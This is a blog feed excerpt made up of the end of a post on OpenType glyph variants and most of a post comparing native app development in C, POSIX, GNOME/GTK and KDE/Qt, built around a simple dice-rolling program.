&lt;p&gt;Default glyphs, followed by forced-Latin, followed by forced-JP, language tag &lt;code&gt;ja&lt;/code&gt;: &lt;span lang="ja" class="emerald"&gt;♂♀L‍vP‍PI‍D🡅 ♂︀♀︀L‍v︀P‍P︀I‍D︀🡅︀ ♂︁♀︁L‍v︁P‍P︁I‍D︁🡅︁&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Default glyphs, followed by forced-Latin, followed by forced-JP, language tag &lt;code&gt;en&lt;/code&gt;: &lt;span lang="en" class="emerald"&gt;♂♀L‍vP‍PI‍D🡅 ♂︀♀︀L‍v︀P‍P︀I‍D︀🡅︀ ♂︁♀︁L‍v︁P‍P︁I‍D︁🡅︁&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Some complexity and compatibility issues can occur here because different systems may process these OpenType features in different orders. For the most part, for "standard" scripts, features are processed in the order in which "lookups" are defined in the &lt;code&gt;GSUB&lt;/code&gt; table. However, complex scripts will always process certain features before certain others. Consult the &lt;a href="https://learn.microsoft.com/en-us/typography/script-development/standard"&gt;Microsoft script development specs&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h1&gt;Have fun!&lt;/h1&gt;
&lt;p&gt;&lt;span class="emerald"&gt;WALLACE: Come on, let's record your&lt;br&gt;name as a HACKER who triumphed over&lt;br&gt;digital typography, and the lines of&lt;br&gt;horrible Python which battled with you.&lt;/span&gt;&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>So you want to write an "app"</title><link href="https://arcanenibble.com/so-you-want-to-write-an-app.html" rel="alternate"></link><published>2025-05-21T00:00:00+00:00</published><updated>2025-05-21T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-05-21:/so-you-want-to-write-an-app.html</id><summary type="html">&lt;p&gt;I touched "every" OS so you don't have to&lt;/p&gt;</summary><content type="html">&lt;p&gt;After writing that (no-longer-)recent &lt;a href="https://arcanenibble.com/a-history-of-web-tech-from-a-non-web-developer.html"&gt;post&lt;/a&gt; on web development, I wanted to get a personal "feel" for what the "new developer experience" is actually like across all of the current platforms if you &lt;em&gt;don't&lt;/em&gt; resort to web tech such as Electron.&lt;/p&gt;
&lt;p&gt;I've been a computer toucher for decades, but I've never been an "app developer" and have always interacted with computing in an idiosyncratic way. Although I did build GUI programs using &lt;a href="https://en.wikipedia.org/wiki/Windows_Forms"&gt;WinForms&lt;/a&gt;, I haven't been actively keeping up. This is therefore a gap in my skillset! So, let's try to close it!&lt;/p&gt;
&lt;p&gt;This project began with &lt;a href="https://glauca.space/@r/114232474234692370"&gt;a live-toot stream&lt;/a&gt;, and this post is a long-form summary and retrospective. If you want to peruse the code, you can find it &lt;a href="https://github.com/ArcaneNibble/native-platform-experiments/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;The "app"&lt;/h1&gt;
&lt;p&gt;For this experiment, I chose to write a program to generate random numbers in a user-specified range. This simulates rolling different types of dice with different numbers of sides, as would be used for &lt;abbr title="Dungeons &amp;amp; Dragons"&gt;DnD&lt;/abbr&gt; or other TTRPGs, and would be part of the long tradition of using computers to play games.&lt;/p&gt;
&lt;p&gt;The idea behind choosing something "simple" like this was to focus my attention on the "tooling setup" and "basic UI building" functionality of each platform rather than the application logic.&lt;/p&gt;
&lt;p&gt;In order to increase the difficulty and place some more attention on "platform integration" functionality, I eventually added the following additional requirements to the GUI applications (i.e. not the command-line ones):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;persistent settings (the number of sides on the dice is saved and reloaded)&lt;/li&gt;
&lt;li&gt;localization support into at least one non-English language&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For each platform, I tried to use the tools, technologies, and documentation that were most prominently promoted and/or that I had the easiest time finding. Unfortunately, gone are the days where programmers would invest a lot of time to get to truly &lt;em&gt;know&lt;/em&gt; a platform inside and out, but I tried to do my best to simulate a harried (but competent) programmer. &lt;/p&gt;
&lt;h1&gt;The platforms&lt;/h1&gt;
&lt;p&gt;I ported this program to the following platforms, in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Standard C&lt;/li&gt;
&lt;li&gt;C/POSIX, command-line&lt;/li&gt;
&lt;li&gt;Linux with GTK and GNOME&lt;/li&gt;
&lt;li&gt;Linux with Qt and KDE&lt;/li&gt;
&lt;li&gt;Windows with WinUI 3&lt;/li&gt;
&lt;li&gt;macOS/iOS with SwiftUI&lt;/li&gt;
&lt;li&gt;Android with Jetpack Compose&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Sarcastic one-liner awards&lt;/h1&gt;
&lt;p&gt;Although I learned a lot, the experience &lt;em&gt;wasn't great&lt;/em&gt;. As such, I've chosen to award each platform its own unique sarcastic summary, which I will subsequently expand on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Standard C — Most resistant to obsolescence&lt;/li&gt;
&lt;li&gt;C/POSIX — Most useless standard&lt;/li&gt;
&lt;li&gt;GTK/GNOME — Most squandered potential&lt;/li&gt;
&lt;li&gt;Qt/KDE — Most screwed over by the platform&lt;/li&gt;
&lt;li&gt;WinUI 3 — Most uninspired&lt;/li&gt;
&lt;li&gt;SwiftUI — Most fun to waste time with&lt;/li&gt;
&lt;li&gt;Jetpack Compose — Most blatantly "mask off"&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Standard C&lt;/h1&gt;
&lt;p&gt;To set the stage, I started this experiment by implementing the core functionality using only standard C. This is the programming language I myself started with over 20 years ago, so I &lt;em&gt;assumed&lt;/em&gt; (hah!) that there wouldn't be anything for me to learn from this.&lt;/p&gt;
&lt;p&gt;This initial program is short enough to be included right here in this post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dice_max&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Dice max? &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%u&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;dice_max&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;dice_max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dice_max&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dice_max&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_roll&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;rand_roll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand_roll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_cap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Rolled: %u&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_roll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand_div&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A lot of discourse about C nowadays tends to focus on its many (legitimate) problems with memory (un)safety, undefined behavior, and ABI hell, but &lt;em&gt;none of that matters&lt;/em&gt; for an application like this. Despite all of its flaws, C is perfectly capable of representing programs like the one above which use structured control flow and perform simple text-based interaction with a user.&lt;/p&gt;
&lt;p&gt;If anything, the fact that computing &lt;em&gt;did&lt;/em&gt; manage to get to the point where I can write the above program &lt;em&gt;once&lt;/em&gt; and then run it on &lt;em&gt;any&lt;/em&gt; computer which implements the appropriate &lt;em&gt;international standard&lt;/em&gt;... is an extraordinary achievement! If the above program were to be downgraded to only depend on C89 or K&amp;amp;R features (an exercise for the reader), it would run on computers stretching back across &lt;em&gt;decades&lt;/em&gt;, and it will likely continue to run on computers for many years to come.&lt;/p&gt;
&lt;p&gt;However, despite its great success at being a standardized language capable of expressing structured control flow while balancing the interests of innumerable interested parties, &lt;em&gt;computing&lt;/em&gt; needs more than that, starting with "how does a user actually go about acquiring or otherwise running this program on a given computer?"&lt;/p&gt;
&lt;h1&gt;C/POSIX&lt;/h1&gt;
&lt;p&gt;Many developers including myself use "Unix-style" tooling regularly, so a reasonable thing to try and do might be to make this dice program work "like a Unix-style" tool. But what does that actually mean? How do you do that?&lt;/p&gt;
&lt;p&gt;I'm too young to have lived through the era of the &lt;a href="https://en.wikipedia.org/wiki/Unix_wars"&gt;"Unix wars"&lt;/a&gt; and needlessly-incompatible differences between vendors, and so I'm lacking a lot of the historical context. However, attempts were at some point made to standardize Unix behavior into an &lt;a href="https://en.wikipedia.org/wiki/Institute_of_Electrical_and_Electronics_Engineers"&gt;IEEE&lt;/a&gt; standard called &lt;a href="https://en.wikipedia.org/wiki/POSIX"&gt;POSIX&lt;/a&gt;. This seems like a direction to start looking!&lt;/p&gt;
&lt;p&gt;Except... how does a programmer starting out today even learn about POSIX? &lt;em&gt;I&lt;/em&gt; happened to already know about POSIX because I've heard people talk about it over the years. I don't know that a novice programmer would necessarily come across it or believe it to be relevant, especially given the amount of time which has passed since the Unix wars and the amount of flaws the standard has (as we shall soon see).&lt;/p&gt;
&lt;p&gt;One success of POSIX is that it specifies &lt;a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/c99.html"&gt;&lt;code&gt;c99&lt;/code&gt;&lt;/a&gt; as a standard executable name for a C compiler, and it specifies a &lt;a href="https://pubs.opengroup.org/onlinepubs/9799919799/utilities/make.html"&gt;portable subset&lt;/a&gt; of &lt;a href="https://en.wikipedia.org/wiki/Make_(software)"&gt;makefiles&lt;/a&gt; for building software from source. The subset which is standardized is enough to compile a simple application like ours:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;.POSIX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nv"&gt;CFLAGS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-O1

&lt;span class="nf"&gt;dice&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dice&lt;/span&gt;.&lt;span class="n"&gt;c&lt;/span&gt;

&lt;span class="nf"&gt;clean&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-rf&lt;span class="w"&gt; &lt;/span&gt;dice
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(For those unaware, &lt;code&gt;make&lt;/code&gt; has various &lt;em&gt;built-in&lt;/em&gt; rules which know how to compile C programs! You &lt;em&gt;don't&lt;/em&gt; have to write out explicit rules!)&lt;/p&gt;
&lt;p&gt;Given a source code distribution with a single &lt;code&gt;.c&lt;/code&gt; file and a makefile, someone familiar with &lt;a href="https://www.youtube.com/watch?v=dFUlAQZB9Ng"&gt;"it's a Unix system!"&lt;/a&gt; should ideally be able to figure out to type &lt;code&gt;make&lt;/code&gt; and &lt;code&gt;./dice&lt;/code&gt; to compile and run this application.&lt;/p&gt;
&lt;p&gt;Is there a way to make this program "fit in" even better? POSIX has a chapter titled &lt;a href="https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/V1_chap12.html"&gt;"Utility Conventions"&lt;/a&gt; giving general guidelines for how tools should behave. Its description of how to format "usage" messages and command-line arguments is quite useful! However, we soon run into things which &lt;em&gt;didn't&lt;/em&gt; manage to get standardized or written down.&lt;/p&gt;
&lt;p&gt;One convention of many "Unix-style" utilities is that they often produce minimal or even no output in normal situations, and that they normally run in a "one-shot" or "batch" fashion rather than being user-interactive like the "standard C" example. There are reasons for this (such as the ease of constructing shell scripts and pipelines), but &lt;em&gt;this is an idea which I originally had to learn "orally" many years ago, rather than via more-formalized written means&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;As we try to refactor the code to work this way, one question comes up — what should we do when there's an error (such as an invalid number of sides)? A number of utilities that I use seem to have a common convention for reporting errors (i.e. printing the name of the program before printing the actual error message), but what actually &lt;em&gt;is&lt;/em&gt; this convention? It turns out that this originally came from &lt;a href="https://www.gnu.org/prep/standards/html_node/Errors.html"&gt;the GNU coding standards&lt;/a&gt;! I did not know this until this experiment, and the fact that I didn't doesn't reflect well on the success of the mission of the GNU project.&lt;/p&gt;
&lt;p&gt;After I finished modifying the code to work in a "Unix-like" "one-shot" fashion, I ran into an issue during testing (that the standard C implementation also shares but manages to hide better) — the numbers it generated stopped being random, but only on macOS. It turns out that it isn't actually specified how &lt;code&gt;rand&lt;/code&gt; is implemented under the hood, and the macOS implementation doesn't mix the bits of the seed around very well until you generate at least one random number.&lt;/p&gt;
&lt;p&gt;POSIX specifies a different pseudo-random number generator in the form of the &lt;code&gt;rand48&lt;/code&gt; family of functions. This has well-defined behavior, but it is still not a "good" random number generator. This might not matter for playing TTRPGs, but &lt;a href="https://www.wired.com/2017/02/russians-engineer-brilliant-slot-machine-cheat-casinos-no-fix/"&gt;it can become a problem when the stakes get higher&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunately, "good" random number generators such as &lt;a href="https://man7.org/linux/man-pages/man2/getrandom.2.html"&gt;&lt;code&gt;getrandom(2)&lt;/code&gt;&lt;/a&gt; or &lt;a href="https://man7.org/linux/man-pages/man4/urandom.4.html"&gt;&lt;code&gt;/dev/urandom&lt;/code&gt;&lt;/a&gt; aren't actually specified in POSIX (even though they are reasonably-widely available).&lt;/p&gt;
&lt;p&gt;This is a huge problem of slow-to-respond standardization processes! They run the risk of becoming increasingly irrelevant, and the issues which they had hoped to solve (e.g. portability) once again become everybody's problem. This applies not just to POSIX but to everything, including C's slow efforts to modernize itself.&lt;/p&gt;
&lt;p&gt;From this experiment, I've managed to gain a newfound appreciation for people such as &lt;a href="https://jvns.ca/"&gt;Julia Evans&lt;/a&gt; who have been continuing to disseminate "basic knowledge" about how operating systems and developer environments work.&lt;/p&gt;
&lt;h1&gt;GNOME/GTK&lt;/h1&gt;
&lt;p&gt;&lt;img alt="screenshot of GNOME app" src="https://arcanenibble.com/images/ui-gnome.png"&gt;&lt;/p&gt;
&lt;p&gt;The next platform I chose to test out was &lt;a href="https://www.gnome.org/"&gt;GNOME&lt;/a&gt;, as this is the default desktop environment for popular Linux distributions such as Ubuntu and Fedora. At least in my mind, GNOME or &lt;a href="https://kde.org/"&gt;KDE&lt;/a&gt; on Linux are the platforms most associated with the "free and/or open-source software" movement (sorry, fans of &lt;a href="https://en.wikipedia.org/wiki/GNU_Hurd"&gt;Hurd&lt;/a&gt;, the various BSD flavors, or "minority" desktops such as &lt;a href="https://www.lxde.org/"&gt;LXDE&lt;/a&gt;, &lt;a href="https://github.com/linuxmint/Cinnamon"&gt;Cinnamon&lt;/a&gt;, and &lt;a href="https://mate-desktop.org/"&gt;MATE&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;GNOME has a rather nice-looking &lt;a href="https://welcome.gnome.org/team/programming/#creating-a-new-app"&gt;developer introduction page&lt;/a&gt; listing multiple choices for programming languages to use with it. Because I wanted to try out the "low-level, native" experience, I read through &lt;a href="https://developer.gnome.org/documentation/tutorials/beginners/getting_started.html"&gt;the documentation on getting started using C&lt;/a&gt;. From browsing around the documentation, I quickly also found &lt;a href="https://developer.gnome.org/hig/index.html"&gt;GNOME's Human Interface Guidelines&lt;/a&gt;. The recommended workflow was to use GtkBuilder XML to build UI and &lt;a href="https://apps.gnome.org/Builder/"&gt;Gnome Builder&lt;/a&gt; as an IDE, compiling applications using a &lt;a href="https://flatpak.org/"&gt;Flatpak&lt;/a&gt; SDK. Overall, GNOME felt like it &lt;em&gt;should&lt;/em&gt; be a nice environment to develop for!&lt;/p&gt;
&lt;p&gt;Unfortunately, once I actually got started, the experience of developing GNOME software ended up being &lt;em&gt;extremely&lt;/em&gt; frustrating. The documentation (as well as the entire project) felt "incomplete" — not because any specific code objects lacked documentation, but because the documentation which did exist didn't really succeed at building up mental models and conceptual understanding.&lt;/p&gt;
&lt;p&gt;For example, the &lt;a href="https://developer.gnome.org/documentation/introduction/overview/libraries.html"&gt;introductory documentation&lt;/a&gt; makes almost no mention of GLib or the GObject system which underlies all of GNOME and GTK. Understanding this is extremely important because there is &lt;em&gt;a lot&lt;/em&gt; of complexity involved in a cross-language object system usable from C code as well as higher-level languages, and this system is involved when responding to user actions. In fact, GObject feels &lt;em&gt;so&lt;/em&gt; conceptually underdocumented that, until this experiment, I actually had no idea what GObject even was or did (despite using GNOME software), and I had no clue that the GNOME project had powerful functionality like this!&lt;/p&gt;
&lt;p&gt;To continue on the point about "conceptual understanding", I &lt;em&gt;still&lt;/em&gt; don't understand e.g. why some parts of the application use "actions" to handle events while dialogs have to use "signals" instead ("actions" and "signals" also have totally different mechanisms for specifying handler functions, so they're very not interchangeable!).&lt;/p&gt;
&lt;p&gt;The debugging experience with the GNOME ecosystem repeatedly resulted in situations of "nothing happened (but something should've), and now I have no idea why". For example, mismatching the types in &lt;code&gt;g_simple_action_new&lt;/code&gt; vs in the GtkBuilder XML resulted in menu items that were greyed-out and disabled, and I had no idea whether I had written the XML incorrectly, forgot to set an "enable" flag somewhere, or made a different error entirely. Likewise, attempting to set up translations repeatedly resulted in "it just doesn't load the translation", and I had no idea what step in the build process I had missed. (As far as I can tell, translations simply don't work in the "latest" version (which is the default) of the Flatpak SDK. Selecting a different version, such as "48", magically works.)&lt;/p&gt;
&lt;p&gt;Persistent settings were stored using GSettings, which is a mechanism for storing typed information according to a schema. In theory, this allows for arbitrary other parts of the desktop environment to interact with and understand a given application's settings. In practice, this didn't work (the settings couldn't actually be found by e.g. command-line tools) for some reason relating to Flatpak, and in fact integrating with GSettings made it no longer possible to launch the program locally for development (it would crash on launch because the schema wasn't properly "installed", although this somehow magically works without "installing" the schema when building a Flatpak). Yet again, this would be much easier to understand if the documentation were better at explaining &lt;em&gt;context&lt;/em&gt;, "why?", and overall architecture and vision.&lt;/p&gt;
&lt;p&gt;Overall, I &lt;em&gt;really wish&lt;/em&gt; GNOME was good! Unfortunately, in its current state, it kinda isn't. What I have heard repeatedly from other people after doing this experiment is that GNOME keeps failing to listen to, communicate with, and value contributions from power users and other "outsiders". In my opinion, it &lt;em&gt;really&lt;/em&gt; shows, as many of the struggles I ran into are likely already well-understood and internalized by regular GNOME developers.&lt;/p&gt;
&lt;h1&gt;KDE/Qt&lt;/h1&gt;
&lt;p&gt;&lt;img alt="screenshot of KDE app" src="https://arcanenibble.com/images/ui-kde.png"&gt;&lt;/p&gt;
&lt;p&gt;As mentioned, the other "major" Linux desktop environment is KDE, and so I sought to try it out next. KDE's &lt;a href="https://develop.kde.org/docs/getting-started/kirigami/"&gt;developer documentation&lt;/a&gt; pointed me at using the &lt;a href="https://develop.kde.org/frameworks/kirigami/"&gt;Kirigami&lt;/a&gt; framework using either C++ or Python, of which I chose C++.&lt;/p&gt;
&lt;p&gt;KDE's documentation felt somewhat haphazard and disorganized in comparison to GNOME's, but it is "task"-focused and fits well with the way I prefer to work (i.e. &lt;em&gt;I'm&lt;/em&gt; not complaining, but other developers might).&lt;/p&gt;
&lt;p&gt;KDE's tutorials unfortunately run headfirst into wider C++ platform problems that GNOME managed to avoid by recommending Flatpak. The tutorial suggests to use &lt;a href="https://cmake.org/"&gt;CMake&lt;/a&gt; to locate its library paths and compile your application, but CMake has a bit of a reputation for unhelpful and confusing error messages. The &lt;em&gt;vast majority&lt;/em&gt; of the frustration I encountered while developing a KDE/Qt application was caused by CMake rather than by the UI frameworks themselves, with issues such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;giving an unhelpful message that it couldn't find "ECM", rather than correctly immediately detecting that Ubuntu 24.04 LTS simply doesn't have KDE 6 (but &lt;em&gt;does&lt;/em&gt; have Qt 6)&lt;/li&gt;
&lt;li&gt;needing to write &lt;code&gt;KF6::ConfigCore&lt;/code&gt; in one location but &lt;code&gt;Config&lt;/code&gt; (no &lt;code&gt;Core&lt;/code&gt;) in another&lt;/li&gt;
&lt;li&gt;giving a completely inscrutable &lt;code&gt;No TARGET 'something' has been created in this directory.&lt;/code&gt; error when attempting to build translations using &lt;a href="https://techbase.kde.org/Development/Tutorials/Localization/i18n_Build_Systems/Outside_KDE_repositories"&gt;copypasted steps from the KDE wiki&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;I &lt;em&gt;still&lt;/em&gt; don't understand what this error actually means, but changing &lt;code&gt;TARGET&lt;/code&gt; to &lt;code&gt;OUTPUT&lt;/code&gt; magically fixed it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;crashing instantly in qemu-user when attempting to cross-compile a Flatpak&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once I had sorted out (or ignored) all of these errors, developing software using &lt;a href="https://www.qt.io/"&gt;Qt&lt;/a&gt; and &lt;a href="https://doc.qt.io/qt-6/qtqml-index.html"&gt;QML&lt;/a&gt; was quite comfortable and straightforward. The details which I had struggled with in GLib/GObject are nicely explained in Qt's &lt;a href="https://doc.qt.io/qt-6/signalsandslots.html"&gt;signals and slots&lt;/a&gt; documentation. Although I chose to entirely embrace KDE frameworks, KDE felt like it was less-opinionated and much more open to piecemeal adoption (e.g. many KDE apps do &lt;em&gt;not&lt;/em&gt; use Kirigami, and I had to specifically &lt;em&gt;choose&lt;/em&gt; to even use KConfig).&lt;/p&gt;
